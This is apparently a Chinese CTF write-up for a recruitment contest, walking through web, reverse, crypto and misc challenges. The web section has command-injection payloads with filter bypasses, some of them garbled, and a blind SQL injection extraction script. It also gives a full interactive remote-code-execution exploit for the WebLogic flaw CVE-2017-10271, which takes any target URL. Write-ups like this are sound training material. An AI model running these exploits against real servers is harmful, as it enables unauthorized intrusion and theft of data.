highlight_file(__FILE__);
if(strlen($_GET[1]&&$_GET[1]<=5)){
echo strlen($_GET[1]);
echo '
';
echo shell_exec($_GET[1]);
}
?>
签到题,直接GET请求 ?1=cat /flag 即可。
Tips:
不是字符限制型命令执行,if判断中的strlen(GET[1]&&$GET[1]<=5)只会判断你是否传入参数和传入参数中的数字是否小于等于5,而不是判断传入字符串的长度。例如?1=5,返回TURE;?1=6,返回FALSE。
Flag就在这里哇!
<title>签到小能手</title>
<?php
print("Flag就在这里哇!
");
$FLAG="qsnctf{*********************}";
show_source("index.php");
?>
使用目录扫描工具扫描得到index.php.bak文件,访问并下载该文件,打开即可获得flag(虽然靠直觉和经验也能猜出来)。
访问题目网址,二话不说,开扫!
存在robots.txt(别问为什么要用bp,问就是别的扫描工具没扫出来)。
访问/GAME/,出现403,那就接着扫。
访问/GAME/index.html,转到一个贪吃蛇游戏界面。
F12查看源代码,找到js文件,修改吃到小球获得的数值(或者修改需要获得的分数,或者直接base64解码),获得flag所在地。
访问/GAME/f14g_in_there_hha/index.php,需要一个get请求,按照提示先访问一下a.txt
返回了文件内容,访问b.txt,同样返回了文件内容。
猜测执行语句为eval(system(“cat”+“$_GET[‘payload’]”));
构造pyload验证一下:?payload=a.txt;ls
成功执行。接着查看根目录文件:?payload=;ls /
空格被过滤掉了,那就用 I F S 代 替 , 构 造 p a y l o a d : ? p a y l o a d = ; l s IFS 代替,构造payload:?payload=;ls IFS代替,构造payload:?payload=;lsIFS/
发现flag文件,构造:?payload=;cat$IFS/flag
发现无回显,猜测flag字符串被过滤,使用通配符绕过。
构造:?payload=;cat I F S / f l a ? 或 者 : ? p a y l o a d = ; c a t IFS/fla? 或者:?payload=;cat IFS/fla?或者:?payload=;catIFS/f*
有个登录框,先随便输点东西进去抓包试试。
发送到Repeater模块进行重发。
提示不是管理员IP,那就添加一个X-Forwarded-For头:X-Forwarded-For: 127.0.0.1,再次进行重发,出现302重定向。
出现特别的字符串,对字符串进行base64解密
发现是刚刚我们传过来的账号和密码,关注重定向后回显登录失败。
猜测存在盲注,使用盲注语句进行测试。
先对语句进行base64加密。
user:admin’ and length((select database()))>1 – |pass:admin
发包:
更改语句再次进行加密。
user:admin’ and length((select database()))<1 – |pass:admin
再次进行发包:
两次回显不同,可以进行盲注。
盲注脚本:
'''
# @Author: St1ck4r
# @Date: 2022-11-16 09:12:20
# @LastEditors: St1ck4r
# @LastEditTime: 2022-11-17 10:36:03
# @link: https://www.st1ck4r.top
'''
import requests
import base64
url = "{此处填写url地址}/check.php?data="
flag=""
data=""
header={"X-Forwarded-For":"127.0.0.1"}
# payload = "(select group_concat(table_name) from information_schema.`TABLES` where table_schema = database())"
# payload = "(select group_concat(column_name) from information_schema.`COLUMNS` where table_name='user')"
payload = "(select group_concat(password) from user where username=\"flag\")"
for i in range(100):
low = 32
high = 128
mid = (low+high)//2
while low < high:
data = "user:admin' and ascii(substr({},{},1))<{} -- |pass:admin".format(payload,str(i+1),str(mid))
data=base64.b64encode(data.encode()).decode()
new_url = url + data
# print(new_url)
res = requests.get(new_url,headers=header)
if("登陆成功!但是你登陆成功我也不会给你Flag" in res.text):
high = mid
else:
low = mid + 1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
flag += chr(mid-1)
# print(flag)
print(flag)
漏洞:CVE-2017-10271
网上随便搜个poc打一下就出来了,在这贴个漏洞复现贴。
weblogic XMLDecoder反序列化漏洞-CVE-2017-10271
附上做题脚本:
'''
# @Author: St1ck4r
# @Date: 2022-11-12 15:15:26
# @LastEditors: St1ck4r
# @LastEditTime: 2022-11-17 11:13:51
# @poc: http://wiki.peiqi.tech
# @link: https://www.st1ck4r.top
'''
import requests
def cve(url,command):
poc_url=url+"wls-wsat/CoordinatorPortType"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36',
'Accept': 'textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'text/xml'
}
payload='''
0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034
com.supeream.exploits.XmlExp
echo CVE-2017-10271;''' +(command)+'''
'''
try:
res=requests.post(poc_url,data=payload,headers=headers,timeout=5)
print(res.text)
except:
exit("错误!")
if __name__ =='__main__':
url=input("输入目标url: ")
while 1:
command=input("输入需要执行的命令(退出:ctrl+c): ")
cve(url,command)
也是找个poc打就行,贴个原帖照着做。
discuz7.2漏洞复现–python编写poc
偷懒ing…
直接拖到IDA(64位)分析,找到main函数,然后F5查看伪代码。
看到一个可疑的函数,点击跟进:
又看到check3,继续跟进:
发现flag字样,接着往下翻:
发现一段简单的加密,解密后就是flag。
编写解密脚本:
'''
# @Author: St1ck4r
# @Date: 2022-11-12 13:43:34
# @LastEditors: St1ck4r
# @LastEditTime: 2022-11-17 11:37:20
# @link: https://www.st1ck4r.top
'''
i=[113,114,108,96,112,99,125,74,56,113,59,101,83,65,97,121,117,78,107,124,97,52,107]
flag=''
for j in range(0,len(i)):
flag+=chr(j^i[j])
print(j^i[0])
print(flag)
使用jadx工具打开,flag就在在res/mipmap-xhdpi目录下。。。
吐槽:
这™也叫逆向题???跟隔壁开发大佬研究了半天那俩框,你告诉我flag是张图片???这完全是misc的范畴吧!!!
还有另一种不用逆向工具的方法:apk改zip,解压然后进入文件夹搜索png。。。。
题目提示flag是一串数字,盲猜flag是1314521或者1314520。(忘记答案是哪个了)
import gmpy2
import libnum
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
flag = b"*********************"
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
d = gmpy2.invert(e,(p-1)*(q-1))
# print(d)
c = pow(int(b2a_hex(flag),16),e,n)
print(c)
# C = 31021919570683223794356421266753186826747161146739784961769368259629146487802
解题脚本:
'''
# @Author: St1ck4r
# @Date: 2022-11-12 12:17:02
# @LastEditors: St1ck4r
# @LastEditTime: 2022-11-17 16:27:40
# @link: https://www.st1ck4r.top
'''
import gmpy2
from Crypto.Util.number import *
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
c = 31021919570683223794356421266753186826747161146739784961769368259629146487802
phi_n = (p-1) * (q-1)
d = gmpy2.invert(e, phi_n)
m = pow(c, d, n)
print(long_to_bytes(m))
第二行逆序输出一下就行了。
然后16进制转字符串就能得到flag。
猜测密码类型为仿射密码(其实不是猜的,在群里刚好看到有人提了一嘴仿射密码),拿出现成的脚本跑就完事了。
爆破a和b。
'''
# @Author: 风二西
# @Date: 2022-11-16 11:28:01
# @LastEditors: St1ck4r
# @LastEditTime: 2022-11-17 16:45:57
# @link: https://www.st1ck4r.top
'''
c='bvkr'
m='qsnc'
for i in range (1,27):
for j in range(1,27):
if 'b'==chr((i*(ord("q")-ord('a'))+j)%26+ord('a')) and 'v'==chr((i*(ord("s")-ord('a'))+j)%26+ord('a')) and 'k'==chr((i*(ord("n")-ord('a'))+j)%26+ord('a')):
print(i,j)
解密:
'''
# @Author: 风二西
# @Date: 2022-11-16 11:28:01
# @LastEditors: St1ck4r
# @LastEditTime: 2022-11-17 16:45:57
# @link: https://www.st1ck4r.top
'''
a=23
b=23
flag=''
c='bvkrsi{o990o395-i7u7-4llo-u084-x2i4590ou34l}'
for i in c:
if ord(i)>=ord("a") and ord(i)<ord("z"):
for j in range(0, 26):
if i==chr((a * j+ b) % 26+ord('a')):
flag += chr(j+ord('a'))
break
else:
flag+=i
print(flag)
题目:
from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random
flag = "*************"
nbit = 128
p = getPrime(nbit)
q = getPrime(nbit)
n = p*q
print p
print n
phi = (p-1)*(q-1)
e = random.randint(20000,50000)
while True:
if gcd(e,phi) == 1:
break;
else:
e -= 1;
c = pow(int(b2a_hex(flag),16),e,n)
print b32encode(str(c))[::-1]
print str(c)
# 20392798836838831460465406987101354448592610558736461081264936079945558905138
# hint.txt:
'''
p = 185392927331398754034773152474166007097
n = 33047182186833739970146873552408478599841138065558351794468963853252513446871
c = =gzMxUDM5gTN1UDN5kzNwYzM5QjNyEDOwEjN0YzM3gTN1ATM2ITO1gDN0QTNzEDMxcDO5YDM0UjN0AjN0EzM4gzM4YzM4gTO3ITOzAjM
d = 31200610308838330418738083846609924368565386173844073395497307508159060263473
'''
只有e值的取值范围,所以需要把e爆破出来。
解题脚本:
'''
# @Author: St1ck4r
# @Date: 2022-11-14 18:21:54
# @LastEditors: St1ck4r
# @LastEditTime: 2022-11-17 16:50:40
# @link: https://www.st1ck4r.top
'''
import gmpy2
import base64
from Crypto.Util.number import *
p = 185392927331398754034773152474166007097
n = 33047182186833739970146873552408478599841138065558351794468963853252513446871
q = n//p
c = '=gzMxUDM5gTN1UDN5kzNwYzM5QjNyEDOwEjN0YzM3gTN1ATM2ITO1gDN0QTNzEDMxcDO5YDM0UjN0AjN0EzM4gzM4YzM4gTO3ITOzAjM'
c = int(base64.b64decode(c[::-1]))
# c = 20392798836838831460465406987101354448592610558736461081264936079945558905138 #密文加密脚本中已给出,可以不用上面的解码
phi_n = (p - 1) * (q - 1)
for e in range(20000,50000):
if gmpy2.gcd(e, phi_n) == 1:
d = gmpy2.invert(e, phi_n)
m = long_to_bytes(pow(c, d, n))
if 'qsnctf' in str(m):
print(m)
else:
continue
提示key值是3位,盲猜一波qsn
维吉尼亚密码解密:
解密顺序:
base64 > DES > RC4 > RC4(但凡需要密钥的地方一律都是qsnctf)
https://www.sojson.com/encrypt_des.html
扫描二维码关注微信公众号,然后发送cat /flag。
打开word文档,发现一片空白。
在设置中打开显示隐藏文字。
发现有东西了,但是是一片空白。
给文字上个色。
发现base64编码,复制出来进行解密(如果复制不出来就全选然后右键–>字体,把隐藏取消掉就能复制了)
解密出来发现是一个zip文件的16进制,使用010editor查看。
原神提瓦特须弥沙漠文。
打开key1.txt,往下翻看到一大堆意义不明的数字,猜测是rgb颜色数字
将前面的干扰项删除,然后编写RGB颜色转图片脚本:
'''
# @Author: St1ck4r
# @Date: 2022-11-12 16:53:52
# @LastEditors: St1ck4r
# @LastEditTime: 2022-11-17 17:50:49
# @link: https://www.st1ck4r.top
'''
from PIL import Image
x = 2305 # 宽
y = 1181 # 高
# 对txt里的行数进行整数分解
im = Image.new("RGB",(x,y)) #创建图片
file = open('KEY1.txt') #打开rbg值文件
#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
rgb = line.split(" ")#根据空格分离rgb
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()
获得key2.zip的密码,解压又得到一张图片。
lsb隐写,使用cloacked-pixel脚本进行解密,密码是第一张图片上的字符串。
得到密文,与之前xsctf招新赛上一道题类似,直接套用脚本即可。
code = ['xxsft','xxftc','xxfcx','xxffc','xxfcf','xxfxs','xxtfx','xxsff','xxfsf','xxffx','xxfsf','xxtcc','xxfxx','xxtfcs']
def decode(code):
res = []
for i in code:
tmp = i.replace("x","0")
i = tmp
tmp = i.replace("s","1")
i = tmp
tmp = i.replace("c","2")
i = tmp
tmp = i.replace("t","3")
i = tmp
tmp = i.replace("f","4")
res.append(tmp)
return res
def change(code):
res = []
for i in code:
tmp = int(i[0])*pow(5,4)+int(i[1])*pow(5,3)+int(i[2])*pow(5,2)+int(i[3])*pow(5,1)+int(i[4])*pow(5,0)
res.append(tmp)
return res
if __name__ == "__main__":
flag = change(decode(code))
true_flag = ""
for i in flag:
true_flag+=chr(i)
print (true_flag)
解密得到flag.zip的密码,解压后得到一张gif图片,对每帧图片进行保存(用wps图片查看器可以直接保存)
使用PS进行拼接,得到一个完整的二维码,扫描即可获得flag。
解压获得一张汉信码。
使用手机软件中国编码进行扫描(原来有个在线解码网站,不知道为啥不能用了)。
访问网址。
得到密文,丢到cyberchef里解密。
得到png文件的16进制文本,转换得到一张缺失定位角的二维码。
随便找张二维码把它的定位点(角上的三个小方框)扣下来再贴到这个上面,然后扫描即可得到flag。
提示PS。
ps打开该图片,用吸管工具吸取上面的颜色,将最后两位数字连起来然后16进制转文本得到的就是flag。
binwalk分离流量包。
得到两个zip文件的16进制文本,转化为zip‘文件后解压,base_1.zip存在加密,爆破后获得密码20221108。
将两张图片拼接后发现少一部份
用010editor打开flag_base_0.png,将图片改成和flag_base_1.png一样的高度。
此时拼接两张图片,使用OCR文字识别或者手敲(我反正没识别出来,手敲得,如果有人能识别出来,请告诉我用的哪款神仙软件)将图片上的内容全部弄出来。
然后base64转图片获得后半部分的flag。
打开流量包,追踪tcp流,翻到71流获得一串base64密文。
base64解密获得前半部分flag。
下载附件解压后获得两个压缩包,解压吉他.zip获得一个acc文件。
用010editor打开该文件,搜索"qsnctf",找到第一段flag(此处是qnsctf,记得修改)。
根据提示猜测吉他.7z的密码为jita,解压获得一张吉他的图片。
使用010editor打开该图片,翻到末尾获得第二段flag。
使用steghide提取图片中隐藏的文件,密码是吉他的英语 guitar。
打开flag.txt获得最后一段flag。
对末心欧巴表示感谢!!!
最后,附上比赛官方正版WP!!!
弱口令实验室招新赛CTF赛道赛题WriteUp